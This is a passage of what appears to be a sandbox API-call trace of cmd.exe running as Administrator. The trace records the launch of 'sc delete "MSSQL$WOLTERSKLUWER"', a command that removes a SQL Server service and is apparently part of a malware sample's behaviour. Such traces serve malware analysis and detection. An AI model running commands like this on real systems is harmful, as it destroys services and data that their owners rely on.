lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="Wvice\n\n") returned 1 [0071.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.537] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="Eice\n\n") returned 1 [0071.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.537] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="Rce\n\n") returned 1 [0071.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.537] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="\"e\n\n") returned 1 [0071.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.537] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35e, cchWideChar=1 | out: lpWideCharStr="\n\n\n") returned 1 [0071.538] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.538] GetFileType (hFile=0xb8) returned 0x3 [0071.538] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.538] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.538] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.538] GetFileType (hFile=0x120) returned 0x3 [0071.538] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$WOLTERSKLUWER\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$WOLTERSKLUWER\"\n", lpUsedDefaultChar=0x0) returned 33 [0071.538] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x20, lpOverlapped=0x0) returned 1 [0071.538] GetProcessHeap () returned 0x4a0000 [0071.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.538] GetProcessHeap () returned 0x4a0000 [0071.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.538] GetProcessHeap () returned 0x4a0000 [0071.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.538] GetProcessHeap () returned 0x4a0000 [0071.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.538] GetProcessHeap () returned 0x4a0000 [0071.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4b97e0 [0071.538] GetConsoleOutputCP () returned 0x1b5 [0071.538] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.538] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.539] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.539] GetProcessHeap () returned 0x4a0000 [0071.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.539] GetProcessHeap () returned 0x4a0000 [0071.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x52) returned 0x4b9840 [0071.539] GetProcessHeap () returned 0x4a0000 [0071.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0071.539] SetErrorMode (uMode=0x0) returned 0x1 [0071.539] SetErrorMode (uMode=0x1) returned 0x0 [0071.539] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.539] SetErrorMode (uMode=0x1) returned 0x1 [0071.539] GetProcessHeap () returned 0x4a0000 [0071.539] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0071.539] GetProcessHeap () returned 0x4a0000 [0071.539] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0071.539] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.539] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.539] GetProcessHeap () returned 0x4a0000 [0071.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.539] GetProcessHeap () returned 0x4a0000 [0071.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.539] GetProcessHeap () returned 0x4a0000 [0071.539] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.540] GetProcessHeap () returned 0x4a0000 [0071.540] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.540] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.540] GetProcessHeap () returned 0x4a0000 [0071.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0071.540] GetProcessHeap () returned 0x4a0000 [0071.540] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0071.540] GetProcessHeap () returned 0x4a0000 [0071.540] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0071.540] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.540] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.540] GetLastError () returned 0x2 [0071.540] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.540] GetLastError () returned 0x2 [0071.540] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.540] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.540] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.541] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.541] GetLastError () returned 0x2 [0071.541] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.541] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.541] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.541] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.541] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.541] GetProcessHeap () returned 0x4a0000 [0071.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.541] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.541] GetProcessHeap () returned 0x4a0000 [0071.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb8) returned 0x4b9180 [0071.541] GetProcessHeap () returned 0x4a0000 [0071.541] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb8 [0071.541] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$WOLTERSKLUWER\"") returned 1 [0071.542] GetProcessHeap () returned 0x4a0000 [0071.542] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.542] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.542] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.542] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.542] GetProcessHeap () returned 0x4a0000 [0071.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.542] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.543] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.543] GetProcessHeap () returned 0x4a0000 [0071.543] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.543] GetProcessHeap () returned 0x4a0000 [0071.543] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.543] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$WOLTERSKLUWER\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$WOLTERSKLUWER\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"MSSQL$WOLTERSKLUWER\"", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x60c, dwThreadId=0x484)) returned 1 [0071.546] CloseHandle (hObject=0x54) returned 1 [0071.547] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.547] GetProcessHeap () returned 0x4a0000 [0071.547] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0071.547] GetEnvironmentStringsW () returned 0x4c1b10* [0071.547] GetProcessHeap () returned 0x4a0000 [0071.547] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0071.547] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.547] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0071.547] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0071.547] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0071.596] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.596] CloseHandle (hObject=0x50) returned 1 [0071.596] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.596] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.596] GetProcessHeap () returned 0x4a0000 [0071.596] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0071.596] GetEnvironmentStringsW () returned 0x4c1b10* [0071.596] GetProcessHeap () returned 0x4a0000 [0071.596] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0071.596] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.596] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.596] GetProcessHeap () returned 0x4a0000 [0071.596] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0071.596] GetEnvironmentStringsW () returned 0x4c1b10* [0071.596] GetProcessHeap () returned 0x4a0000 [0071.596] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0071.596] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.596] GetProcessHeap () returned 0x4a0000 [0071.596] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.596] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.596] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.597] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.597] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.597] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.597] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.597] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.597] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.598] GetConsoleOutputCP () returned 0x1b5 [0071.598] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.598] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.598] GetProcessHeap () returned 0x4a0000 [0071.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.598] GetProcessHeap () returned 0x4a0000 [0071.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.598] GetProcessHeap () returned 0x4a0000 [0071.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.598] GetProcessHeap () returned 0x4a0000 [0071.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.598] GetProcessHeap () returned 0x4a0000 [0071.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9840 | out: hHeap=0x4a0000) returned 1 [0071.598] GetProcessHeap () returned 0x4a0000 [0071.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.598] GetProcessHeap () returned 0x4a0000 [0071.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0071.598] GetProcessHeap () returned 0x4a0000 [0071.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.598] GetProcessHeap () returned 0x4a0000 [0071.598] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.598] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.598] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.598] GetFileType (hFile=0x120) returned 0x3 [0071.599] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.599] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.599] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.599] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.599] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.599] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.599] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.599] GetFileType (hFile=0x120) returned 0x3 [0071.599] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.599] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.599] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.599] GetFileType (hFile=0xb8) returned 0x3 [0071.599] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.599] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.599] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.599] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.599] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.599] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.599] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.599] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0071.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.600] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.600] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.600] MultiByteToWideChar 